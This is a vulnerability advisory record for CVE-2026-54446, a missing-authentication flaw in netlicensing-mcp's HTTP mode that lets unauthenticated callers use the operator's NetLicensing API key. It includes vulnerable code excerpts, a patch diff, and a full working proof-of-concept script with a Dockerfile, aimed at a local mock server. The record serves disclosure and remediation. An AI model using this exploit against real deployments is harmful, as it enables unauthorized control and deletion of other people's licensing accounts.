{"id":"CVE-2026-54446","aliases":["PYSEC-2026-3490"],"url":"https://o3.security/vulnerability/CVE-2026-54446","summary":"NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode","details":"## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\n\n### Summary\n\nWhen `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.\n\n### Details\n\nThe HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.\n\nThe downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv(\"NETLICENSING_API_KEY\", \"\")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62–70`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).\n\nThe complete exploitable data flow is:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` |\n| 2 | `server.py:1431` | `ApiKeyMiddleware` registered |\n| 3 | `server.py:1412–1419` | Middleware attempts (optional) key extraction from headers/query |\n| 4 | `server.py:1427` | **Auth bypass sink**: missing key → `return await call_next(request)` |\n| 5 | `server.py:155–163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) |\n| 6 | `tools/products.py:9,17` | Tool delegates to `nl_get(\"/product\", ...)` |\n| 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var |\n| 8 | `client.py:62–70` | `Authorization: Basic base64(\"apiKey:<key>\")` constructed |\n| 9 | `client.py:105,109` | **Upstream sink**: `client.get(url, headers=_headers(), ...)` executed |\n\nCritical code excerpts:\n\n```python\n# src/netlicensing_mcp/server.py\n1418:     if not key:\n1419:         key = request.query_params.get(\"apikey\")\n1421:     if key:\n1422:         token = api_key_ctx.set(key)\n            ...\n1427:     return await call_next(request)   # <-- no rejection when key is absent\n```\n\n```python\n# src/netlicensing_mcp/client.py\n30:  \"api_key\", default=os.getenv(\"NETLICENSING_API_KEY\", \"\")   # server-side fallback\n...\n64:  auth_str = f\"apiKey:{api_key}\"\n70:  \"Authorization\": f\"Basic {token}\",\n...\n109: r = await client.get(url, headers=_headers(), params=params or {})\n```\n\nThe README (`README.md:90–94`) documents the HTTP mode deployment pattern with `-e NETLICENSING_API_KEY=your_key` as a first-class production deployment option, including AWS App Runner / ELB examples (`README.md:310–318`). The per-client key recommendation (`README.md:318`) is advisory only and is not technically enforced.\n\nA suggested patch replaces the unconditional pass-through with a `401` rejection:\n\n```diff\n--- a/src/netlicensing_mcp/server.py\n+++ b/src/netlicensing_mcp/server.py\n@@\n          class ApiKeyMiddleware(BaseHTTPMiddleware):\n              async def dispatch(self, request: Request, call_next):\n+                 if request.url.path == \"/health\":\n+                     return await call_next(request)\n+\n                  key = request.headers.get(\"x-netlicensing-api-key\")\n                  if not key:\n                      auth = request.headers.get(\"authorization\")\n                      if auth and auth.lower().startswith(\"bearer \"):\n                          key = auth[7:]\n@@\n                          return await call_next(request)\n                      finally:\n                          api_key_ctx.reset(token)\n-                 return await call_next(request)\n+                 return JSONResponse(\n+                     {\"error\": \"NetLicensing API key is required for HTTP transport\"},\n+                     status_code=401,\n+                 )\n```\n\n### PoC\n\n**Environment requirements:**\n- Docker (or Python 3.12 with `netlicensing-mcp==0.1.5` and `mcp` client installed)\n- Target commit: `ef0080c2aebbf4dfbce93a959dd7c1471103c05a`\n\n**Self-contained Docker reproduction (all-in-one):**\n\n```\n# Build the image from the repository root\ndocker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .\n\n# Run the PoC — exits 0 on confirmed exploit\ndocker run --rm --network=host vuln-001-netlicensing\n```\n\n**Manual step-by-step reproduction:**\n\n```\n# Terminal 1 — mock upstream NetLicensing REST API\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(\"MOCK_REQUEST\", self.command, self.path,\n              self.headers.get(\"Authorization\"), flush=True)\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n    def log_message(self, *args): pass\nHTTPServer((\"127.0.0.1\", 19090), H).serve_forever()\nPY\n\n# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key\nNETLICENSING_API_KEY=SERVERSECRET \\\nNETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \\\nMCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \\\npython3 -m netlicensing_mcp.server http\n\n# Terminal 3 — attacker: connect with NO API key and invoke a tool\npython3 - <<'PY'\nimport asyncio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n    async with streamablehttp_client(\"http://127.0.0.1:18181/mcp\") as (read, write, _):\n        async with ClientSession(read, write) as session:\n            await session.initialize()\n            print(await session.call_tool(\"netlicensing_list_products\", {\"filter\": \"\"}))\n\nasyncio.run(main())\nPY\n```\n\n**Expected output in Terminal 1:**\n\n```\nMOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n```\n\nDecoding the Base64 credential confirms the operator's secret was used:\n\n```\n$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d\napiKey:SERVERSECRET\n```\n\n**Observed evidence from dynamic reproduction (Phase 2):**\n\n```\n[MOCK_UPSTREAM] GET /core/v2/rest/product  Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\nDecoded: apiKey:SERVERSECRET\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own\nNETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.\nCWE-306 / VULN-001 reproduced.\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any network-reachable attacker who can send HTTP requests to the `/mcp` endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.\n\nConcrete consequences include:\n\n- **Confidentiality**: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.\n- **Integrity**: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.\n- **Availability**: bulk deletion of products, licenses, or licensees, destroying the operator's licensing configuration.\n\n**Who is impacted**: Operators who deploy `netlicensing-mcp` in HTTP transport mode (`python3 -m netlicensing_mcp.server http`) with `NETLICENSING_API_KEY` set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nRUN apt-get update && apt-get install -y --no-install-recommends git \\\n && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy repo (with .git for hatch-vcs versioning) and PoC script\nCOPY repo/ /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\n\n# Install the vulnerable MCP server package and its dependencies\nRUN cd /app/repo && pip install --no-cache-dir .\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\nCWE-306 — Missing Authentication for Critical Function\n\nAttack scenario:\n 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.\n 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.\n 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.\n 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.\n 5. The upstream NetLicensing REST API receives the operator's credential — attacker\n effectively uses the operator's account for all MCP tool invocations.\n\nExpected evidence: mock upstream prints\n Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n Decoded: apiKey:SERVERSECRET\neven though the MCP client sent no credentials.\n\"\"\"\n\nimport asyncio\nimport base64\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ─── Configuration ────────────────────────────────────────────────────────────\n\nMOCK_PORT = 19090\nMCP_PORT = 18181\nSERVER_API_KEY = \"SERVERSECRET\" # simulated operator secret injected via env var\n\n# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────\n\ncaptured_requests: list[dict] = []\nmock_ready = threading.Event()\n\n\nclass MockUpstreamHandler(BaseHTTPRequestHandler):\n def _handle(self):\n auth = self.headers.get(\"Authorization\", \"<none>\")\n entry = {\n \"method\": self.command,\n \"path\": self.path,\n \"authorization\": auth,\n }\n captured_requests.append(entry)\n print(\n f\"[MOCK_UPSTREAM] {self.command} {self.path} \"\n f\"Authorization={auth}\",\n flush=True,\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n\n do_GET = _handle\n do_POST = _handle\n do_PUT = _handle\n\n def log_message(self, *args):\n pass\n\n\ndef _run_mock(port: int) -> None:\n srv = HTTPServer((\"127.0.0.1\", port), MockUpstreamHandler)\n mock_ready.set()\n srv.serve_forever()\n\n\n# ─── Helpers ─────────────────────────────────────────────────────────────────\n\ndef _decode_basic(header: str) -> str | None:\n if not header.startswith(\"Basic \"):\n return None\n try:\n return base64.b64decode(header[6:]).decode()\n except Exception:\n return None\n\n\nasync def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:\n \"\"\"Poll until the MCP /health endpoint responds or timeout.\"\"\"\n import httpx\n deadline = time.monotonic() + timeout\n while time.monotonic() < deadline:\n try:\n async with httpx.AsyncClient() as c:\n r = await c.get(f\"http://{host}:{port}/health\", timeout=1)\n if r.status_code < 500:\n return True\n except Exception:\n pass\n await asyncio.sleep(0.4)\n return False\n\n\n# ─── PoC ──────────────────────────────────────────────────────────────────────\n\nasync def main() -> None:\n # 1. Start mock upstream\n t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)\n t.start()\n mock_ready.wait(timeout=5)\n print(f\"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}\", flush=True)\n\n # 2. Launch vulnerable MCP server in HTTP mode with server-side API key\n env = os.environ.copy()\n env.update({\n \"NETLICENSING_API_KEY\": SERVER_API_KEY,\n \"NETLICENSING_BASE_URL\": f\"http://127.0.0.1:{MOCK_PORT}/core/v2/rest\",\n \"MCP_HOST\": \"127.0.0.1\",\n \"MCP_PORT\": str(MCP_PORT),\n })\n proc = subprocess.Popen(\n [sys.executable, \"-m\", \"netlicensing_mcp.server\", \"http\"],\n env=env,\n cwd=\"/app/repo\",\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n print(f\"[*] Vulnerable MCP server started (pid={proc.pid})\", flush=True)\n\n ready = await _wait_for_mcp(\"127.0.0.1\", MCP_PORT, timeout=15)\n if not ready:\n # /health may not exist; just wait a fixed time\n print(\"[*] /health not responding — waiting 5 s anyway ...\", flush=True)\n await asyncio.sleep(5)\n\n if proc.poll() is not None:\n _, err = proc.communicate()\n print(f\"[!] MCP server exited unexpectedly:\\n{err.decode()}\", flush=True)\n sys.exit(1)\n\n print(f\"[*] MCP server ready on 127.0.0.1:{MCP_PORT}\", flush=True)\n\n # 3. Attack: connect WITHOUT any API key and invoke a tool\n print(\n \"\\n[ATTACK] Sending MCP tool call to netlicensing_list_products \"\n \"with NO client API key ...\",\n flush=True,\n )\n try:\n from mcp import ClientSession\n from mcp.client.streamable_http import streamablehttp_client\n\n async with streamablehttp_client(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n ) as (read, write, _):\n async with ClientSession(read, write) as session:\n await session.initialize()\n result = await session.call_tool(\n \"netlicensing_list_products\", {\"filter\": \"\"}\n )\n print(f\"[*] Tool call succeeded: {result}\", flush=True)\n except Exception as exc:\n print(f\"[*] MCP client exception (may be normal upstream error): {exc}\", flush=True)\n finally:\n proc.terminate()\n await asyncio.sleep(0.5)\n\n # 4. Evaluate captured evidence\n print(\"\\n\" + \"=\" * 70, flush=True)\n print(\"CAPTURED UPSTREAM REQUESTS:\", flush=True)\n for req in captured_requests:\n print(f\" {req['method']} {req['path']}\", flush=True)\n print(f\" Authorization: {req['authorization']}\", flush=True)\n decoded = _decode_basic(req[\"authorization\"])\n if decoded:\n print(f\" Decoded: {decoded}\", flush=True)\n print(\"=\" * 70, flush=True)\n\n # 5. Verdict\n server_key_leaked = any(\n SERVER_API_KEY in (_decode_basic(r[\"authorization\"]) or \"\")\n for r in captured_requests\n )\n\n if server_key_leaked:\n print(\n f\"\\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to \"\n f\"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream \"\n f\"NetLicensing API. CWE-306 / VULN-001 reproduced.\",\n flush=True,\n )\n sys.exit(0)\n elif not captured_requests:\n print(\n \"\\n[FAIL] No upstream requests captured — the MCP tool call did not \"\n \"reach the upstream API.\",\n flush=True,\n )\n sys.exit(2)\n else:\n print(\n \"\\n[FAIL] Upstream requests captured but server API key not found in \"\n \"Authorization headers.\",\n flush=True,\n )\n sys.exit(2)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```","published":"2026-07-14T20:47:19Z","modified":"2026-07-23T15:11:18.172621940Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"netlicensing-mcp","fixedVersion":"0.1.6"}],"fix":{"url":"https://github.com/Labs64/NetLicensing-MCP/commit/fbbb1d5ff88eb5400ec933a84e75601ebee48927","label":"Labs64/NetLicensing-MCP@fbbb1d5"},"references":[{"type":"WEB","url":"https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-x9vc-9ffq-p3gj"},{"type":"WEB","url":"https://github.com/Labs64/NetLicensing-MCP/commit/fbbb1d5ff88eb5400ec933a84e75601ebee48927"},{"type":"PACKAGE","url":"https://github.com/Labs64/NetLicensing-MCP"},{"type":"WEB","url":"https://github.com/Labs64/NetLicensing-MCP/releases/tag/0.1.6"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-23T15:11:18.172621940Z"}}